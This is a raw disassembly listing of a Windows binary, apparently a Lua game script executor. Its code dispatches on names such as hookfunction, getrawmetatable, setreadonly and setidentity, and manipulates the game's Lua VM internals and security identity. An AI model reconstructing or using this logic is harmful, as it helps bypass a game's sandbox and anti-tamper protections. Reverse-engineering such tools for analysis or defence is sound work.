movsx eax, word [reloc.WS2_32.dll_connect]
movsx rcx, word [0x14047d02c]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx - 0x10], eax
jne 0x14002413b
movsx eax, word [0x14047d03c]
movsx rcx, word [0x14047d02c]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx], eax
jne 0x14002413b
mov byte [rsp + 0x40], 1
jmp 0x140024197
movsx eax, word [0x14047d040]
movsx rcx, word [0x14047d02c]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx - 0x10], eax
jne 0x140024192
movsx eax, word [0x14047d044]
movsx rcx, word [0x14047d02c]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx + 0x30], eax
jne 0x140024192
mov byte [rsp + 0x40], 1
jmp 0x140024197
jmp 0x1400240b4
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x1400279ce
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax]
mov qword [rsp + 0x80], rax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movsd xmm0, qword [rcx + rax]
movsd qword [rsp + 0x3c8], xmm0
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax]
mov dword [rsp + 0x400], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax + 0x10]
mov qword [rsp + 0x4d8], rax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movsd xmm0, qword [rcx + rax + 0x10]
movsd qword [rsp + 0x1c8], xmm0
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax + 0x10]
mov dword [rsp + 0x1c70], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax + 0x20]
mov qword [rsp + 0x4b8], rax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movsd xmm0, qword [rcx + rax + 0x20]
movsd qword [rsp + 0xb48], xmm0
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax + 0x20]
mov dword [rsp + 0xa6c], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movzx eax, byte [rcx + rax + 0x30]
mov byte [rsp + 0xf7], al
movsx eax, word [0x14047d03c]
movsx rcx, word [0x14047d02c]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx + 0x50], eax
jne 0x1400279ce
movsx rax, word [0x14047d034]
movsx rcx, word [0x1404979d0]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
add rax, qword [rdx + rcx + 0x50]
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.1402c6d80
nop
movzx eax, byte [rsp + 0xf7]
test eax, eax
je 0x1400279c0
lea rdx, str.getreg
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140024507
mov rax, qword [rsp + 0x158]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov rcx, qword [rsp + 0x158]
lea rax, [rcx + rax + 8]
mov qword [rsp + 0x1240], rax
mov rax, qword [rsp + 0x1240]
add rax, 0xc90
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1248], rax
mov rax, qword [rsp + 0x1248]
mov qword [rsp + 0xb00], rax
movzx eax, word [0x14047d054]
mov word [rsp + 0x12c], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb00]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x12c]
mov dword [rsp + 0x7a0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7a0]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb00]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x12c]
mov dword [rsp + 0x7a4], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7a4]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.hookfunction
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002475e
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x908], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x2598], rax
movsx rax, word [reloc.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x4e0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
movzx eax, al
mov dword [rsp + 0x7a8], eax
movsx rax, word [reloc.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x908]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
movzx eax, al
mov dword [rsp + 0x488], eax
movsx rax, word [reloc.WS2_32.dll_connect]
mov rcx, qword [rsp + 0x4e0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
mov byte [rsp + 0x2a2], al
movsx rax, word [reloc.WS2_32.dll_connect]
mov rcx, qword [rsp + 0x908]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
mov byte [rsp + 0x2a3], al
cmp dword [rsp + 0x7a8], 0
je 0x14002460a
movsx eax, word [str.0_ax0_f]
mov dword [rsp + 0x474], eax
jmp 0x140024615
mov dword [rsp + 0x474], 0x20
mov eax, dword [rsp + 0x474]
mov dword [rsp + 0x1c74], eax
cmp dword [rsp + 0x488], 0
je 0x14002463d
movsx eax, word [str.0_ax0_f]
mov dword [rsp + 0x480], eax
jmp 0x140024648
mov dword [rsp + 0x480], 0x20
mov eax, dword [rsp + 0x480]
mov dword [rsp + 0x1c78], eax
movzx eax, word [str.0_ax0_f]
mov word [rsp + 0xa70], ax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x4e0]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x25a0], rax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x908]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x1250], rax
lea rcx, [rsp + 0x2ca0]
call fcn.140015a20
nop
lea rcx, [rsp + 0x2c88]
call fcn.140015a20
nop
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x4e0]
add rcx, rax
mov rax, rcx
mov r8, qword [rsp + 0x1250]
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.1401fccf0
movzx eax, byte [rsp + 0x488]
mov byte [rsp + 0xf8], al
movsx rax, word [reloc.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x4e0]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0xf8]
mov rcx, rax
call fcn.140013df0
nop
lea rcx, [rsp + 0x2c88]
call fcn.140017760
nop
lea rcx, [rsp + 0x2ca0]
call fcn.140017760
jmp 0x140027987
lea rdx, str.getrawmetatable
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400249e5
mov qword [rsp + 0x510], 0
movsx eax, word [0x14047d050]
cmp dword [rsp + 0x400], eax
jne 0x1400247b9
mov rax, qword [rsp + 0x80]
add rax, 8
mov rdx, rax
xor ecx, ecx
call fcn.140012fb0
mov qword [rsp + 0x510], rax
jmp 0x1400247e7
movsx eax, word [0x14047d054]
cmp dword [rsp + 0x400], eax
jne 0x1400247e7
mov rax, qword [rsp + 0x80]
add rax, 0x20
mov rdx, rax
mov cl, 4
call fcn.140012fb0
mov qword [rsp + 0x510], rax
cmp qword [rsp + 0x510], 0
je 0x1400248f2
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0xb08], rax
movzx eax, word [0x14047d054]
mov word [rsp + 0x120], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb08]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x120]
mov dword [rsp + 0x7ac], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7ac]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb08]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x120]
mov dword [rsp + 0x7b0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7b0]
mov rcx, rax
call fcn.140013ee0
jmp 0x1400249e0
mov qword [rsp + 0x1258], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x1258]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x7b4], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7b4]
mov rcx, rax
call fcn.140013ee0
mov qword [rsp + 0x1260], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x1260]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x7b8], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7b8]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.iscclosure
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140024b36
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1268], rax
movsx rax, word [reloc.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x1268]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
movzx eax, al
mov dword [rsp + 0x7bc], eax
mov eax, dword [rsp + 0x7bc]
mov dword [rsp + 0x404], eax
movzx eax, word [0x14047d044]
mov word [rsp + 0x134], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x404]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [rsp + 0x134]
mov dword [rsp + 0x7c0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7c0]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x404]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [rsp + 0x134]
mov dword [rsp + 0x7c4], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7c4]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.isreadonly
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140024c87
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1270], rax
movsx rax, word [0x14047d020]
mov rcx, qword [rsp + 0x1270]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
movzx eax, al
mov dword [rsp + 0x7c8], eax
mov eax, dword [rsp + 0x7c8]
mov dword [rsp + 0x408], eax
movzx eax, word [0x14047d044]
mov word [rsp + 0x138], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x408]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [rsp + 0x138]
mov dword [rsp + 0x7cc], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7cc]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x408]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [rsp + 0x138]
mov dword [rsp + 0x7d0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7d0]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.setreadonly
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140024d00
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1278], rax
cmp qword [rsp + 0x4d8], 0
je 0x140024cc4
mov byte [rsp + 0x6c], 1
jmp 0x140024cc9
mov byte [rsp + 0x6c], 0
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0xf9], al
movsx rax, word [0x14047d020]
mov rcx, qword [rsp + 0x1278]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0xf9]
mov rcx, rax
call fcn.140013df0
jmp 0x140027987
lea rdx, str.getidentity
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140024e88
movsx rax, word [0x14047d024]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1280], rax
movsx rax, word [0x14047d028]
mov rcx, qword [rsp + 0x1280]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x7d4], eax
mov eax, dword [rsp + 0x7d4]
mov dword [rsp + 0x40c], eax
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x13c], ax
cvtsi2sd xmm0, dword [rsp + 0x40c]
movsd qword [rsp + 0x1288], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x1288]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x13c]
mov dword [rsp + 0x7d8], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7d8]
mov rcx, rax
call fcn.140013ee0
cvtsi2sd xmm0, dword [rsp + 0x40c]
movsd qword [rsp + 0x1290], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x1290]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x13c]
mov dword [rsp + 0x7dc], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7dc]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.setidentity
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140025046
movsx rax, word [0x14047d024]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xb10], rax
movsx rax, word [0x14047d028]
mov rcx, qword [rsp + 0xb10]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x7e4], eax
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x7e0], eax
movsx rax, word [0x14047d028]
mov rcx, qword [rsp + 0xb10]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x7e0]
mov rcx, rax
call fcn.140013ee0
mov eax, dword [rsp + 0x7e4]
mov dword [rsp + 0x410], eax
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x140], ax
cvtsi2sd xmm0, dword [rsp + 0x410]
movsd qword [rsp + 0x1298], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x1298]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x140]
mov dword [rsp + 0x7e8], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7e8]
mov rcx, rax
call fcn.140013ee0
cvtsi2sd xmm0, dword [rsp + 0x410]
movsd qword [rsp + 0x12a0], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x12a0]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x140]
mov dword [rsp + 0x7ec], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7ec]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.getnamecallmethod
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140025177
movsx rax, word [0x14047d068]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xb18], rax
movzx eax, word [0x14047d03c]
mov word [rsp + 0x144], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb18]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x144]
mov dword [rsp + 0x7f0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7f0]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb18]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x144]
mov dword [rsp + 0x7f4], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7f4]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.setnamecallmethod
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400251bd
movsx rax, word [0x14047d068]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x4d8]
mov rcx, rax
call fcn.140013f40
jmp 0x140027987
lea rdx, str.getnconnections
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400253f4
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x12b0], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x12a8], rax
cvttsd2si eax, qword [rsp + 0xb48]
mov dword [rsp + 0x1c7c], eax
mov dword [rsp + 0x2b8], 1
mov dword [rsp + 0x1c80], 0x30
mov rax, qword [rsp + 0x12a8]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x3b8], rax
lea rcx, [rsp + 0x2230]
call fcn.140015970
nop
xor eax, eax
cmp eax, 1
je 0x1400252bf
mov eax, dword [rsp + 0x2b8]
inc eax
mov dword [rsp + 0x2b8], eax
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x2230]
call fcn.1400341c0
mov rax, qword [rsp + 0x3b8]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x3b8], rax
cmp qword [rsp + 0x3b8], 0
jne 0x1400252bd
jmp 0x1400252bf
jmp 0x140025268
lea rdx, [rsp + 0x12b0]
lea rcx, [rsp + 0x2350]
call fcn.1400183d0
lea rdx, [rsp + 0x2230]
mov rcx, rax
call fcn.140017ee0
mov eax, dword [rsp + 0x2b8]
dec eax
cvtsi2sd xmm0, eax
movsd qword [rsp + 0xb20], xmm0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x128], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb20]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x128]
mov dword [rsp + 0x7f8], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x7f8]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb20]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x128]
mov dword [rsp + 0x7fc], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x7fc]
mov rcx, rax
call fcn.140013ee0
nop
lea rcx, [rsp + 0x2230]
call fcn.1400176c0
jmp 0x140027987
lea rdx, str.getconnectionf
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140025811
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb28], rax
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x2bc], eax
lea r8, [rsp + 0xb28]
lea rdx, [rsp + 0x25a8]
lea rcx, [rsp + 0x2350]
call fcn.140013260
mov qword [rsp + 0x12c0], rax
lea rdx, [rsp + 0x25b0]
lea rcx, [rsp + 0x2350]
call fcn.1400203d0
mov qword [rsp + 0x12b8], rax
mov rdx, qword [rsp + 0x12b8]
mov rcx, qword [rsp + 0x12c0]
call fcn.1400182a0
movzx eax, al
test eax, eax
je 0x14002580c
lea rdx, [rsp + 0xb28]
lea rcx, [rsp + 0x2350]
call fcn.1400183d0
mov rdx, rax
lea rcx, [rsp + 0x1fb8]
call fcn.140015b00
nop
mov dword [rsp + 0x414], 0x30
mov dword [rsp + 0x800], 0x70
mov byte [rsp + 0x6d], 0
cmp dword [rsp + 0x2bc], 0
jle 0x140025703
movsxd rax, dword [rsp + 0x2bc]
mov qword [rsp + 0x12c8], rax
lea rcx, [rsp + 0x1fb8]
call fcn.140035930
mov rcx, qword [rsp + 0x12c8]
cmp rax, rcx
jb 0x140025703
mov eax, dword [rsp + 0x2bc]
dec eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x1fb8]
call fcn.140018430
mov rax, qword [rax]
mov qword [rsp + 0xb30], rax
movsxd rax, dword [rsp + 0x414]
mov rcx, qword [rsp + 0xb30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
test rax, rax
jne 0x140025597
lea rcx, [rsp + 0x1fb8]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x190]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1cc0]
call fcn.140017680
nop
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140030549
movsxd rax, dword [rsp + 0x414]
mov rcx, qword [rsp + 0xb30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
add rax, 8
mov qword [rsp + 0xb38], rax
movsxd rax, dword [rsp + 0x800]
mov rcx, qword [rsp + 0xb38]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x25b8], rax
mov rax, qword [rsp + 0xb38]
add rax, 0x14
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x804], eax
mov eax, dword [rsp + 0x804]
cvtsi2sd xmm0, rax
movsd qword [rsp + 0xb40], xmm0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x148], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb40]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x148]
mov dword [rsp + 0x808], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x808]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb40]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x148]
mov dword [rsp + 0x80c], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x80c]
mov rcx, rax
call fcn.140013ee0
mov byte [rsp + 0x6d], 1
movzx eax, byte [rsp + 0x6d]
test eax, eax
jne 0x1400257ff
mov qword [rsp + 0x12d0], 0
